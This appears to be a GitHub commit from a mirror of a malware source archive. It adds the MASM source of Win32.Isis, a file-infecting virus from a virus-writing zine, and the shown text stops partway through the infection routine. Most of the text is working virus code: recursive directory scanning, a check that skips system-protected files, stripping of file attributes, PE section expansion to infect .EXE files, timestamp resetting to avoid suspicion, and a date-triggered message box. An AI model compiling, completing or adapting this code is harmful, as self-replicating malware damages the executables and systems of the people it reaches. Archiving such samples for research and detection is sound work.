mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Updated dir structure in Win32
This commit is contained in:
@@ -0,0 +1,964 @@
|
||||
COMMENT ` ---------------------------------------------------------------- )=-
|
||||
-=( Natural Selection Issue #1 -------------------------------- Win32.Isis )=-
|
||||
-=( ---------------------------------------------------------------------- )=-
|
||||
|
||||
-=( 0 : Win32.Isis Features ---------------------------------------------- )=-
|
||||
|
||||
Imports: Copies LoadLibraryA and GetProcAddress from hosts [it will
|
||||
only infect files that already Import both]
|
||||
Infects: PE files with an .EXE extension by expanding the last
|
||||
section, but without setting the write bit
|
||||
Strategy: With a fully recursive directory scanning engine that
|
||||
doesn't enter directories more than once per run
|
||||
Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files
|
||||
Saves Stamps: Yes
|
||||
MultiThreaded: No
|
||||
Polymorphism: None
|
||||
AntiAV / EPO: None
|
||||
SEH Abilities: None
|
||||
Payload: Displays a MessageBoxA
|
||||
|
||||
-=( 1 : Win32.Isis Design Goals ------------------------------------------ )=-
|
||||
|
||||
: To test an implementation of MASMs type checking on API and PROC calls.
|
||||
: To place all virus data into one structure that can be stack hosted, so the
|
||||
write bit does not need to be set in infected sections.
|
||||
: To serve as a test virus for a fast, recursive directory scanner, which does
|
||||
not visit the same directory twice, and uses only stack data.
|
||||
: To use Imports through GetProcAddress/LoadLibraryA, which are stolen in
|
||||
hosts that already import them.
|
||||
|
||||
When it was finished, a friend's pet rat had died, her name was Isis, and so
|
||||
the virus was named in its memory. Besides it's a nice virus name too.
|
||||
|
||||
-=( 2 : Win32.Isis Design Faults ----------------------------------------- )=-
|
||||
|
||||
While it did achieve all of the design goals, its structure really needs a lot
|
||||
of work, especially to clean up the data tables. When infecting some PE
|
||||
files, headers and sections can be incorrectly calculated [rarely], so that
|
||||
would also need to be modified. Finally, a lot of the variables are badly
|
||||
named.
|
||||
|
||||
-=( 3 : Win32.Isis Disclaimer -------------------------------------------- )=-
|
||||
|
||||
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
||||
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
||||
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
||||
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
||||
|
||||
COPYRIGHT
|
||||
Copyright on materials in this magazine and the information therein and
|
||||
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
||||
|
||||
RIGHTS AND LIMITATIONS
|
||||
You have the right to use, copy and distribute the material in this
|
||||
magazine free of charge, for all purposes allowed by your governing
|
||||
laws. You are expressly PROHIBITED from using the material contained
|
||||
herein for any purposes that would cause or would help promote
|
||||
the illegal use of the material.
|
||||
|
||||
NO WARRANTY
|
||||
The information contained within this magazine are provided "as is".
|
||||
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
||||
or completeness of given information, and expressly disclaims
|
||||
liability for errors or omissions contained therein. No implied,
|
||||
express, or statutory warranty, is given in conjunction with this magazine.
|
||||
|
||||
LIMITATION OF LIABILITY
|
||||
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
||||
damages including and without limitation, direct or indirect, special,
|
||||
incidental, or consequential damages, losses, or expenses arising in
|
||||
connection with this magazine, or the use thereof.
|
||||
|
||||
ADDITIONAL DISCLAIMER
|
||||
Computer viruses will spread of their own accord between computer systems, and
|
||||
across international boundaries. They are raw animals with no concern for the
|
||||
law, and for that reason your possession of them makes YOU responsible for the
|
||||
actions they carry out.
|
||||
|
||||
The viruses provided in this magazine are for educational purposes ONLY. They
|
||||
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
||||
conditions. If compiled and executed these viruses WILL land you in court(s).
|
||||
|
||||
You will be held responsible for your actions. As source code these viruses
|
||||
are inert and covered by implied freedom of speech laws in some
|
||||
countries. In binary form these viruses are malicious weapons. FEATHERED
|
||||
SERPENTS do not condone the application of these viruses and will NOT be held
|
||||
LIABLE for any MISUSE.
|
||||
|
||||
-=( 4 : Win32.Isis Compile Instructions ---------------------------------- )=-
|
||||
|
||||
MASM 6.15 and LINK 6.00.8447
|
||||
ml /c /Cp /coff /Fl /Zi Isis.asm
|
||||
link /debug /debugtype:cv /subsystem:windows Isis.obj
|
||||
|
||||
-=( 5 : Win32.Isis ------------------------------------------------------- ) `
|
||||
|
||||
.386p ; 386 opcodes
|
||||
.model flat,stdcall ; Written for flat Win32
|
||||
option casemap:none ; Use mixed case symbols
|
||||
include masmwinc.inc ; Win32 constant symbols
|
||||
includelib c:\masm32\lib\kernel32.lib ; First-run imported API
|
||||
|
||||
ExitProcess PROTO :DWORD
|
||||
LoadLibraryA PROTO :DWORD
|
||||
GetProcAddress PROTO :DWORD, :DWORD
|
||||
|
||||
Host SEGMENT 'CODE'
|
||||
push 0
|
||||
call ExitProcess
|
||||
call LoadLibraryA
|
||||
call GetProcAddress
|
||||
Host ENDS
|
||||
|
||||
; =============================================================================
|
||||
; ( Virus Constants, Protos, and Macros ) =====================================
|
||||
; =============================================================================
|
||||
|
||||
FRUN_HOSTSRVA EQU 3000H
|
||||
FRUN_VIRUSRVA EQU 5000H
|
||||
FRUN_LOADLIBRARYA EQU 9060H
|
||||
FRUN_GETPROCADDRESS EQU 9064H
|
||||
GAME_OVER_MAX EQU 6
|
||||
AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_TEMPORARY OR \
|
||||
FILE_ATTRIBUTE_SPARSE_FILE OR FILE_ATTRIBUTE_REPARSE_POINT OR \
|
||||
FILE_ATTRIBUTE_OFFLINE OR FILE_ATTRIBUTE_COMPRESSED OR \
|
||||
FILE_ATTRIBUTE_ENCRYPTED
|
||||
|
||||
|
||||
DO_API MACRO PARAM:VARARG
|
||||
PUSHAD
|
||||
INVOKE PARAM
|
||||
MOV [ESP+1CH], EAX
|
||||
POPAD
|
||||
ENDM DO_API
|
||||
|
||||
CompareStringM MACRO STRING1:REQ, STRING2:REQ
|
||||
DO_API tCompareStringA PTR [esi + VX.pCompareStringA], \
|
||||
LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, \
|
||||
STRING2, -1
|
||||
ENDM CompareStringM
|
||||
|
||||
CreateFileM MACRO FILENAME:REQ
|
||||
DO_API tCreateFileA PTR [esi + VX.pCreateFileA], FILENAME, \
|
||||
GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, \
|
||||
0, 0
|
||||
ENDM CreateFileM
|
||||
|
||||
CreateFileMappingM MACRO HANDLE:REQ, SIZE:REQ
|
||||
DO_API tCreateFileMappingA PTR [esi + VX.pCreateFileMappingA], \
|
||||
HANDLE, 0, PAGE_READWRITE, 0, SIZE, 0
|
||||
ENDM CreateFileMappingM
|
||||
|
||||
ListEntry MACRO POINTER: REQ, STRING:REQ, TYPE:VARARG
|
||||
p&POINTER DD 0
|
||||
s&POINTER DB STRING, 0
|
||||
TYPE
|
||||
ENDM ListEntry
|
||||
|
||||
MapViewOfFileM MACRO HANDLE:REQ
|
||||
DO_API tMapViewOfFile PTR [esi + VX.pMapViewOfFile], HANDLE, \
|
||||
FILE_MAP_ALL_ACCESS, NULL, NULL, NULL
|
||||
ENDM MapViewOfFileM
|
||||
|
||||
VirusEntry PROTO
|
||||
Recurse PROTO VD:PTR VX, RL:PTR RX
|
||||
AccessFile PROTO VD:PTR VX, RD:PTR RX
|
||||
|
||||
PrepareFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD
|
||||
ImportScan PROTO VD:PTR VX, MAP:DWORD, TABLE:DWORD
|
||||
FinishFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD
|
||||
|
||||
AlignToVA PROTO VALUE:DWORD, ALIGNER:DWORD
|
||||
ConvertToVA PROTO MAP:DWORD, VALUE:DWORD
|
||||
|
||||
___SfcIsFileProtected PROTO A:DWORD, B:DWORD
|
||||
___CheckSumMappedFile PROTO A:DWORD, B:DWORD, Y:DWORD, Z:DWORD
|
||||
|
||||
; =============================================================================
|
||||
; ( Virus Structures ) ========================================================
|
||||
; =============================================================================
|
||||
|
||||
VX STRUCT DWORD
|
||||
VirusEntryPoint DD FRUN_VIRUSRVA
|
||||
HostsEntryPoint DD FRUN_HOSTSRVA
|
||||
LoadLibraryRVA DD FRUN_LOADLIBRARYA
|
||||
GetProcAddressRVA DD FRUN_GETPROCADDRESS
|
||||
|
||||
DeltaOffset DD 0
|
||||
GameOverMan DD 0
|
||||
FindSpecification DB '*', 0
|
||||
ExecSpecification DB '.EXE', 0
|
||||
|
||||
SectionEntry DD 0
|
||||
NewFileSize DD 0
|
||||
NewSectionSize DD 0
|
||||
|
||||
ImportList DD VX.pCloseHandle, VX.ImportKernel32, NULL
|
||||
DD VX.pCompareStringA, VX.ImportKernel32, NULL
|
||||
DD VX.pCreateFileA, VX.ImportKernel32, NULL
|
||||
DD VX.pCreateFileMappingA, VX.ImportKernel32, NULL
|
||||
DD VX.pFindClose, VX.ImportKernel32, NULL
|
||||
DD VX.pFindFirstFileA, VX.ImportKernel32, NULL
|
||||
DD VX.pFindNextFileA, VX.ImportKernel32, NULL
|
||||
DD VX.pGetCurrentDirectoryA, VX.ImportKernel32, NULL
|
||||
DD VX.pGetFileAttributesA, VX.ImportKernel32, NULL
|
||||
DD VX.pGetLocalTime, VX.ImportKernel32, NULL
|
||||
DD VX.pMapViewOfFile, VX.ImportKernel32, NULL
|
||||
DD VX.pSetCurrentDirectoryA, VX.ImportKernel32, NULL
|
||||
DD VX.pSetFileAttributesA, VX.ImportKernel32, NULL
|
||||
DD VX.pSetFileTime, VX.ImportKernel32, NULL
|
||||
DD VX.pUnmapViewOfFile, VX.ImportKernel32, NULL
|
||||
DD VX.pMessageBoxA, VX.ImportUser32, NULL
|
||||
DD VX.pCheckSumMappedFile, VX.ImportImageHlp, AlternSum - WinMain
|
||||
DD VX.pSfcIsFileProtected, VX.ImportSfc, AlternSfc - WinMain
|
||||
DD NULL
|
||||
|
||||
ImportKernel32 DB 'KERNEL32.DLL', 0
|
||||
ListEntry CloseHandle, 'CloseHandle', tCloseHandle TYPEDEF PROTO :DWORD
|
||||
ListEntry CompareStringA, 'CompareStringA', tCompareStringA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
||||
ListEntry CreateFileA, 'CreateFileA', tCreateFileA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
||||
ListEntry CreateFileMappingA, 'CreateFileMappingA', tCreateFileMappingA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
||||
ListEntry FindClose, 'FindClose', tFindClose TYPEDEF PROTO :DWORD
|
||||
ListEntry FindFirstFileA, 'FindFirstFileA', tFindFirstFileA TYPEDEF PROTO :DWORD,:DWORD
|
||||
ListEntry FindNextFileA, 'FindNextFileA', tFindNextFileA TYPEDEF PROTO :DWORD,:DWORD
|
||||
ListEntry GetCurrentDirectoryA, 'GetCurrentDirectoryA', tGetCurrentDirectoryA TYPEDEF PROTO :DWORD,:DWORD
|
||||
ListEntry GetFileAttributesA, 'GetFileAttributesA', tGetFileAttributesA TYPEDEF PROTO :DWORD
|
||||
ListEntry GetProcAddress, 'GetProcAddress', tGetProcAddress TYPEDEF PROTO :DWORD,:DWORD
|
||||
ListEntry GetLocalTime, 'GetLocalTime', tGetLocalTime TYPEDEF PROTO :DWORD
|
||||
ListEntry LoadLibraryA, 'LoadLibraryA', tLoadLibraryA TYPEDEF PROTO :DWORD
|
||||
ListEntry MapViewOfFile, 'MapViewOfFile', tMapViewOfFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
||||
ListEntry SetCurrentDirectoryA, 'SetCurrentDirectoryA', tSetCurrentDirectoryA TYPEDEF PROTO :DWORD
|
||||
ListEntry SetFileAttributesA, 'SetFileAttributesA', tSetFileAttributesA TYPEDEF PROTO :DWORD,:DWORD
|
||||
ListEntry SetFileTime, 'SetFileTime', tSetFileTime TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
|
||||
ListEntry UnmapViewOfFile, 'UnmapViewOfFile', tUnmapViewOfFile TYPEDEF PROTO :DWORD
|
||||
ImportUser32 DB 'USER32.DLL', 0
|
||||
ListEntry MessageBoxA, 'MessageBoxA', tMessageBoxA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
|
||||
ImportImageHlp DB 'IMAGEHLP.DLL', 0
|
||||
ListEntry CheckSumMappedFile, 'CheckSumMappedFile', tCheckSumMappedFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
|
||||
ImportSfc DB 'SFC.DLL', 0
|
||||
ListEntry SfcIsFileProtected, 'SfcIsFileProtected', tSfcIsFileProtected TYPEDEF PROTO :DWORD,:DWORD
|
||||
|
||||
VirusTitle DB 'Your Computer Flows With The Spyryt Of Win32.Isis', 0 ; Your Computer Flows With The Spyryt Of Win32.Isis
|
||||
VirusMessage DB 'Dedicated to our Isis and Horus: Maman vous aime!', 13, 10 ; Dedicated to our Isis and Horus: Maman vous aime!
|
||||
DB 13, 10 ;
|
||||
DB 'Create', 9, 'PROTO Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Create PROTO Mother:PTR Rat, Father:PTR Rat
|
||||
DB 9, '...', 13, 10 ; ...
|
||||
DB 'Rat', 9, 'STRUCT', 13, 10 ; Rat STRUCT
|
||||
DB 9, 'Colour', 9, 'DB 10 DUP (?)', 13, 10 ; Colour DB 10 DUP (?)
|
||||
DB 9, 'Length', 9, 'DD ?', 13, 10 ; Length DD ?
|
||||
DB 'Rat', 9, 'ENDS', 13, 10 ; Rat ENDS
|
||||
DB 9, '...', 13, 10 ; ...
|
||||
DB 'Isis', 9, 'Rat {''Drk', 9, 'Blonde'', 9}', 9, '; Mother', 13, 10 ; Isis Rat {'Drk Blonde', 9} ; Mother
|
||||
DB 'Horus', 9, 'Rat {''Ash', 9, 'Blonde'', 7}', 9, '; Father', 13, 10 ; Horus Rat {'Ash Blonde', 7} ; Father
|
||||
DB 9, '...', 13, 10 ; ...
|
||||
DB 9, 'INVOKE Create, ADDR Isis, ADDR Horus', 13, 10 ; INVOKE Create, ADDR Isis, ADDR Horus
|
||||
DB 9, '...', 13, 10 ; ...
|
||||
DB 'Create', 9, 'PROC', 9, 'USES', 9, 'EBX ECX EDX ESI EDI,', 13, 10 ; Create PROC USES EBX ECX EDX ESI EDI
|
||||
DB 9, 9, 9, 'Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Mother:PTR Rat, Father:PTR Rat
|
||||
DB 9, 9, 'LOCAL', 9, 'Daughter:Rat', 13, 10 ; LOCAL Daughter:Rat
|
||||
DB 13, 10 ;
|
||||
DB 9, 'mov esi,', 9, '[Mother', 9, ']', 13, 10 ; mov esi, [Mother]
|
||||
DB 9, 'mov esi,', 9, '[esi', 9, ']', 13, 10 ; mov esi, [esi]
|
||||
DB 9, 'mov ebx,', 9, '[esi + Rat.Length', 9, ']', 13, 10 ; mov ebx, [esi + Rat.Length]
|
||||
DB 9, 'mov edi,', 9, '[Father', 9, ']', 13, 10 ; mov edi, [Father]
|
||||
DB 9, 'mov edi,', 9, '[edi', 9, ']', 13, 10 ; mov edi, [edi]
|
||||
DB 9, 'add ebx,', 9, '[edi + Rat.Length', 9, ']', 13, 10 ; add ebx, [edi + Rat.Length]
|
||||
DB 9, 'shr ebx,', 9, 9, '1', 13, 10 ; shr ebx, 1
|
||||
DB 9, 'mov [Daughter.Length],', 9, 'ebx', 13, 10 ; mov [Daughter.Length], ebx
|
||||
DB 9, '...', 13, 10 ; ...
|
||||
DB 13, 10, 0 ;
|
||||
ALIGN 4
|
||||
VX ENDS
|
||||
|
||||
RX STRUCT DWORD
|
||||
FindData WIN32_FIND_DATA {?}
|
||||
FindHandle DD ?
|
||||
NewDirectory DD MAX_PATH DUP (?)
|
||||
CurrentDirectory DD MAX_PATH DUP (?)
|
||||
LastRecurse DD ?
|
||||
ALIGN 4
|
||||
RX ENDS
|
||||
|
||||
; =============================================================================
|
||||
; ( Virus EntryPoint ) ========================================================
|
||||
; =============================================================================
|
||||
|
||||
Virus SEGMENT 'CODE'
|
||||
WinMain:
|
||||
push NULL ; Updated to become HostsEntryPoint later
|
||||
|
||||
VirusEntry PROC
|
||||
LOCAL VD:VX
|
||||
|
||||
; Save the registers for our host, calculate WinMain VA and Delta Offset
|
||||
pusha
|
||||
pushfd
|
||||
call @F
|
||||
@@: pop esi
|
||||
sub esi, 12h ; @B - WinMain
|
||||
mov eax, esi
|
||||
sub esi, offset WinMain
|
||||
push esi
|
||||
|
||||
; Copy our data section into the allocated stack area. Must be / DWORD.
|
||||
lea esi, [esi][Virus_Data]
|
||||
lea edi, [VD]
|
||||
mov ecx, Size VD / 4
|
||||
cld
|
||||
rep movsd
|
||||
pop [VD.DeltaOffset ]
|
||||
|
||||
; ImageBase = WinMain VA - WinMain RVA. Convert critical API RVA to VA.
|
||||
sub eax, [VD.VirusEntryPoint ]
|
||||
|
||||
push eax
|
||||
add eax, [VD.LoadLibraryRVA ]
|
||||
mov eax, [eax]
|
||||
mov [VD.pLoadLibraryA], eax
|
||||
pop eax
|
||||
|
||||
push eax
|
||||
add eax, [VD.GetProcAddressRVA]
|
||||
mov eax, [eax]
|
||||
mov [VD.pGetProcAddress], eax
|
||||
pop eax
|
||||
|
||||
; Overwrite the NULL we stored on the stack with our Hosts EntryPoint VA
|
||||
add eax, [VD.HostsEntryPoint ]
|
||||
mov [ebp + DWORD], eax
|
||||
|
||||
; Parse our ImportList. Formatted as: API RVA, DLL RVA, ALTERNATE RVA.
|
||||
lea esi, [VD.ImportList]
|
||||
@@: lodsd ; RVA of API DWORD
|
||||
or eax, eax ; NULL if List End
|
||||
jz @F ; Stop if it's the end of this List
|
||||
lea edi, [eax][VD] ; EDI = Where to write final API VA
|
||||
lea ebx, [eax][VD][4] ; API Name String follows API DWORD
|
||||
lodsd ; DLL Name String RVA
|
||||
|
||||
DO_API tLoadLibraryA PTR [VD.pLoadLibraryA ], ADDR [VD][eax]
|
||||
DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx
|
||||
|
||||
stosd ; Save VA into API VA
|
||||
or eax, eax ; Check if successful
|
||||
lodsd ; Alternate Entry RVA
|
||||
jnz @B ; Loop back if all OK
|
||||
|
||||
or eax, eax ; Check if Alternate doesn't exist
|
||||
jz WinExit ; Abort, because we need something
|
||||
add eax, offset WinMain
|
||||
add eax, [VD.DeltaOffset]
|
||||
mov [edi][-4], eax
|
||||
jmp @B ; Save Alternates VA and loop back
|
||||
|
||||
@@: ; Initialize counter, recurse through directories for infectable files
|
||||
mov [VD.GameOverMan], NULL
|
||||
DO_API Recurse, ADDR [VD], NULL
|
||||
|
||||
; Check if the date is 21st of November which is when Isis passed away
|
||||
DO_API tGetLocalTime PTR [VD.pGetLocalTime], ADDR [VD]
|
||||
cmp WORD PTR [VD][2], 11
|
||||
jne WinExit
|
||||
cmp WORD PTR [VD][6], 20
|
||||
jne WinExit
|
||||
|
||||
DO_API tMessageBoxA PTR [VD.pMessageBoxA], NULL, ADDR [VD.VirusMessage], ADDR [VD.VirusTitle], NULL
|
||||
|
||||
WinExit:
|
||||
popfd
|
||||
popa
|
||||
ret
|
||||
VirusEntry ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Directory/File Recursion ) ================================================
|
||||
; =============================================================================
|
||||
Recurse PROC VD:Ptr VX, RL:Ptr RX
|
||||
LOCAL RD:RX
|
||||
|
||||
; Search for the first entry in our current directory
|
||||
mov esi, [VD]
|
||||
mov eax, [RL]
|
||||
mov [RD.LastRecurse], eax
|
||||
|
||||
DO_API tFindFirstFileA PTR [esi][VX.pFindFirstFileA], ADDR [esi][VX.FindSpecification], ADDR [RD.FindData]
|
||||
mov [RD.FindHandle], eax
|
||||
cmp eax, INVALID_HANDLE_VALUE
|
||||
je RecurseExit
|
||||
|
||||
RecurseOkay:
|
||||
; Don't touch files or directories with these strange attributes set
|
||||
test dword ptr [RD.FindData.FileAttributes], AVOIDED_FILES
|
||||
jnz RecurseNext
|
||||
; Split between file / directory routines
|
||||
test dword ptr [RD.FindData.FileAttributes], FILE_ATTRIBUTE_DIRECTORY
|
||||
jnz RecurseDirs
|
||||
|
||||
; Locate end of file name
|
||||
lea edi, [RD.FindData.FileName ]
|
||||
xor eax, eax
|
||||
mov ecx, MAX_PATH
|
||||
repnz scasb
|
||||
jnz RecurseNext
|
||||
sub edi, 5
|
||||
|
||||
; Compare extension with .EXE
|
||||
lea eax, [esi][VX.ExecSpecification]
|
||||
CompareStringM eax, edi
|
||||
cmp eax, 2
|
||||
jne RecurseNext
|
||||
|
||||
; Check if it's under SFC protection or if it's too big for us to handle
|
||||
DO_API tSfcIsFileProtected PTR [esi][VX.pSfcIsFileProtected], NULL, ADDR [RD.FindData.FileName]
|
||||
or eax, eax
|
||||
jnz @F
|
||||
|
||||
cmp [RD.FindData.FileSizeHigh], 0
|
||||
jne @F
|
||||
|
||||
DO_API AccessFile, [VD], ADDR [RD]
|
||||
@@: jmp RecurseNext
|
||||
|
||||
RecurseDirs:
|
||||
; Don't recurse if we've recursed enough. Save the current directory and
|
||||
; change to the new one and save its full directory name as well.
|
||||
cmp [esi][VX.GameOverMan], GAME_OVER_MAX
|
||||
je RecurseNext
|
||||
|
||||
DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.CurrentDirectory ]
|
||||
cmp eax, NULL
|
||||
je RecurseNext
|
||||
|
||||
DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.FindData.FileName]
|
||||
cmp eax, NULL
|
||||
je RecurseNext
|
||||
|
||||
DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.NewDirectory ]
|
||||
cmp eax, NULL
|
||||
je RecurseNext
|
||||
|
||||
; Loop through each Recurse stack comparing New to Currents
|
||||
lea ebx, [RD.NewDirectory ]
|
||||
lea edi, [RD]
|
||||
@@: lea ecx, [edi][RX.CurrentDirectory]
|
||||
CompareStringM ecx, ebx
|
||||
cmp eax, 2
|
||||
je RecurseMatch
|
||||
mov edi, [edi][RX.LastRecurse]
|
||||
or edi, edi
|
||||
jnz @B
|
||||
|
||||
inc [esi][VX.GameOverMan ]
|
||||
DO_API Recurse, [VD], ADDR [RD]
|
||||
dec [esi][VX.GameOverMan ]
|
||||
|
||||
RecurseMatch:
|
||||
DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.CurrentDirectory]
|
||||
|
||||
RecurseNext:
|
||||
; Abort if we've recursed and infected enough
|
||||
cmp [esi][VX.GameOverMan], GAME_OVER_MAX
|
||||
je RecurseCleanup
|
||||
|
||||
; Continue the search for files / directories
|
||||
DO_API tFindNextFileA PTR [esi][VX.pFindNextFileA], [RD.FindHandle], ADDR [RD.FindData ]
|
||||
or eax, eax
|
||||
jne RecurseOkay
|
||||
|
||||
RecurseCleanup:
|
||||
; Close our search handle and exit
|
||||
DO_API tFindClose PTR [esi][VX.pFindClose], [RD.FindHandle]
|
||||
|
||||
RecurseExit:
|
||||
ret
|
||||
Recurse ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( File Access Moderator ) ===================================================
|
||||
; =============================================================================
|
||||
AccessFile PROC VD:PTR VX, RD:PTR RX
|
||||
|
||||
; Remove attributes only if necessary
|
||||
mov esi, [VD]
|
||||
mov edi, [RD]
|
||||
test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM
|
||||
jz @F
|
||||
DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], FILE_ATTRIBUTE_NORMAL
|
||||
or eax, eax
|
||||
jz AccessExit
|
||||
|
||||
@@: ; Open the file fully, saving each handle on the stack as we go
|
||||
CreateFileM ADDR [edi][RX.FindData.FileName]
|
||||
cmp eax, INVALID_HANDLE_VALUE
|
||||
je AccessAttributes
|
||||
push eax
|
||||
push eax
|
||||
|
||||
CreateFileMappingM eax, 0
|
||||
or eax, eax
|
||||
jz AccessCloseFile
|
||||
push eax
|
||||
|
||||
MapViewOfFileM eax
|
||||
cmp eax, INVALID_HANDLE_VALUE
|
||||
jz AccessCloseMap
|
||||
push eax
|
||||
|
||||
; Prepare the file for infection by making sure headers are correct,
|
||||
; working out how much space we will add to the file sections, etc
|
||||
DO_API PrepareFile, [VD], [RD], eax
|
||||
or eax, eax
|
||||
jz AccessCloseView
|
||||
|
||||
; Close the file and reopen it bigger to fit the virus inside
|
||||
pop eax
|
||||
DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax
|
||||
pop eax
|
||||
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
|
||||
|
||||
pop eax
|
||||
push eax
|
||||
CreateFileMappingM eax, [esi][VX.NewFileSize]
|
||||
or eax, eax
|
||||
jz AccessCloseFile
|
||||
push eax
|
||||
|
||||
MapViewOfFileM eax
|
||||
cmp eax, INVALID_HANDLE_VALUE
|
||||
jz AccessCloseMap
|
||||
push eax
|
||||
|
||||
; Finish up infecting the file and increment infection counter
|
||||
DO_API FinishFile, [VD], [RD], eax
|
||||
or eax, eax
|
||||
jz AccessCloseView
|
||||
inc [esi][VX.GameOverMan ]
|
||||
|
||||
AccessCloseView:
|
||||
pop eax
|
||||
DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax
|
||||
|
||||
AccessCloseMap:
|
||||
pop eax
|
||||
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
|
||||
|
||||
AccessCloseFile:
|
||||
; Reset file stamps so that we don't look too suspicious
|
||||
pop ebx
|
||||
DO_API tSetFileTime PTR [esi][VX.pSetFileTime], ebx, ADDR [edi][RX.FindData.LastWriteTime], ADDR [edi][RX.FindData.LastAccessTime], ADDR [edi][RX.FindData.CreationTime]
|
||||
pop eax
|
||||
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
|
||||
|
||||
AccessAttributes:
|
||||
; Restore attributes only if they were changed
|
||||
test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR \
|
||||
FILE_ATTRIBUTE_SYSTEM
|
||||
jz AccessExit
|
||||
DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], [edi][RX.FindData.FileAttributes]
|
||||
|
||||
AccessExit:
|
||||
ret
|
||||
AccessFile ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Infection Preparation ) ===================================================
|
||||
; =============================================================================
|
||||
PrepareFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD
|
||||
|
||||
; Is the file already infected?
|
||||
mov esi, [VD ]
|
||||
mov edi, [MAP]
|
||||
cmp [edi][IMAGE_DOS_HEADER.e_csum], -1
|
||||
je PrepareFail
|
||||
cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE
|
||||
jne PrepareFail
|
||||
|
||||
; Are the standard COFF headers okay?
|
||||
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
|
||||
cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE
|
||||
jne PrepareFail
|
||||
cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386
|
||||
jne PrepareFail
|
||||
cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER
|
||||
jne PrepareFail
|
||||
cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC
|
||||
jne PrepareFail
|
||||
cmp [edi][PE.SizeOfHeaders], 0
|
||||
je PrepareFail
|
||||
|
||||
; Do some checks on the Import Table
|
||||
cmp [edi][PE.NumberOfRvaAndSizes], 2
|
||||
jb PrepareFail
|
||||
cmp [edi][PE.DataDirectory.Import.Sizes], 0
|
||||
je PrepareFail
|
||||
|
||||
DO_API ConvertToVA, [MAP], [edi][PE.DataDirectory.Import.RVA]
|
||||
mov edx, eax
|
||||
or edx, edx
|
||||
jz PrepareFail
|
||||
|
||||
; Loop through each IMPORT Entry looking for a 'Kernel32.DLL' Name. For
|
||||
; each found we ImportScan for our LoadLibraryA and GetProcAddress. We
|
||||
; can get both from the one IMPORT Entry, or if only one is found, then
|
||||
; we continue scanning incase there are multiple 'Kernel32.DLL', IMPORT
|
||||
; entries with procedures split across them.
|
||||
mov ecx, [edi][PE.DataDirectory.Import.Sizes]
|
||||
mov [esi][VX.LoadLibraryRVA], 0
|
||||
mov [esi][VX.GetProcAddressRVA], 0
|
||||
@@: DO_API ConvertToVA, [MAP], [edx][IMPORT.Names ]
|
||||
or eax, eax
|
||||
jz PrepareFail
|
||||
lea ebx, [esi][VX.ImportKernel32]
|
||||
CompareStringM eax, ebx
|
||||
cmp eax, 2
|
||||
jne PrepareNext
|
||||
DO_API ImportScan, [VD], [MAP], edx
|
||||
or eax, eax
|
||||
jnz @F
|
||||
|
||||
PrepareNext:
|
||||
add edx, SIZE IMPORT
|
||||
sub ecx, SIZE IMPORT
|
||||
jz PrepareFail
|
||||
cmp ecx, [edi][PE.DataDirectory.Import.Sizes]
|
||||
jae PrepareFail
|
||||
jmp @B
|
||||
|
||||
@@: ; Scan through the SECTION Table and find the last 'Physical' SECTION. We
|
||||
; save its RVA because its VA won't be valid when FinalFile needs it.
|
